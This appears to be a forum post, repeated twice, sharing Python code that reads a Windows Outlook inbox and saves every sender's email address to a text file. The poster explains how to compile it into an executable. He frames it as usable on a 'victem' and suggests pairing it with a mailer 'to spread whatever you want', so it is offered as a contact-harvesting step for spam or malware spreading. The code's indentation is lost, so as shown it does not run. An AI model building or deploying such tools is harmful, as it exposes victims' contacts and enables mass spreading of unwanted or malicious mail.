The code is real messy but it works (don't mind the remarks, just finished it as working .exe)
python code:
import win32com.client
import time
import datetime as dt
from os import path
if not path.exists('testfile_cut.txt'):
f = open("testfile_cut.txt", "w")
f.write("07/17/20 00:00:00")
f.close()
date_time = dt.datetime.now()
f = open("testfile_cut.txt", "r")
a = f.read()
a = dt.datetime.strptime(a, '%m/%d/%y %H:%M:%S')
today = dt.date.today()
#date = str(datetime.now().date())[-5].replace('-','')
lastDayDateTime = dt.datetime.now() - a
lastDayDateTime = date_time - lastDayDateTime
outlook = win32com.client.Dispatch("Outlook.Application").GetNamespace("MAPI")
inbox = outlook.GetDefaultFolder(6)
messages = inbox.Items
sender = "john smith"
sender = sender.lower()
messages.Sort("[ReceivedTime]", True)
lastDayMessages = messages.Restrict("[ReceivedTime] >= '" + lastDayDateTime.strftime('%m/%d/%Y %H:%M %p')+"'")
b = lastDayMessages[0].ReceivedTime
b = dt.datetime.strftime(b, '%m/%d/%y %H:%M:%S')
print(b)
#
f.close()
if not path.exists('outlook.txt'):
f = open("outlook.txt", "w")
if (b!=a):
for message in lastDayMessages:
# if sender in message.SenderName.lower():
# if message.Subject.startswith("ABC"):
# print (message.ReceivedTime)
textt = (message.SenderEmailAddress)
f.write(textt)
f.write('\n')
print (message.SenderEmailAddress.encode('ascii', 'ignore'))
# print (message.Subject.encode('ascii', 'ignore'))
# print (message.Body.encode('ascii', 'ignore'))
You need to install some python libs for this, (if you don't know how i can help you)
You need to compile it with auto-py-to-exe, it gives an error at first of an missing module (you can fix this by adding the missing module to hidden-import.
it stores an "outlook.txt" file with all email adresses of all people ever mailed you (or victem).
You can then write a send mail python script to spread whatever you want.
Just thought after my last question post i also post some usefull working source code.😭
python code:
import win32com.client
import time
import datetime as dt
from os import path
if not path.exists('testfile_cut.txt'):
f = open("testfile_cut.txt", "w")
f.write("07/17/20 00:00:00")
f.close()
date_time = dt.datetime.now()
f = open("testfile_cut.txt", "r")
a = f.read()
a = dt.datetime.strptime(a, '%m/%d/%y %H:%M:%S')
today = dt.date.today()
#date = str(datetime.now().date())[-5].replace('-','')
lastDayDateTime = dt.datetime.now() - a
lastDayDateTime = date_time - lastDayDateTime
outlook = win32com.client.Dispatch("Outlook.Application").GetNamespace("MAPI")
inbox = outlook.GetDefaultFolder(6)
messages = inbox.Items
sender = "john smith"
sender = sender.lower()
messages.Sort("[ReceivedTime]", True)
lastDayMessages = messages.Restrict("[ReceivedTime] >= '" + lastDayDateTime.strftime('%m/%d/%Y %H:%M %p')+"'")
b = lastDayMessages[0].ReceivedTime
b = dt.datetime.strftime(b, '%m/%d/%y %H:%M:%S')
print(b)
#
f.close()
if not path.exists('outlook.txt'):
f = open("outlook.txt", "w")
if (b!=a):
for message in lastDayMessages:
# if sender in message.SenderName.lower():
# if message.Subject.startswith("ABC"):
# print (message.ReceivedTime)
textt = (message.SenderEmailAddress)
f.write(textt)
f.write('\n')
print (message.SenderEmailAddress.encode('ascii', 'ignore'))
# print (message.Subject.encode('ascii', 'ignore'))
# print (message.Body.encode('ascii', 'ignore'))
You need to install some python libs for this, (if you don't know how i can help you)
You need to compile it with auto-py-to-exe, it gives an error at first of an missing module (you can fix this by adding the missing module to hidden-import.
it stores an "outlook.txt" file with all email adresses of all people ever mailed you (or victem).
You can then write a send mail python script to spread whatever you want.
Just thought after my last question post i also post some usefull working source code.😭

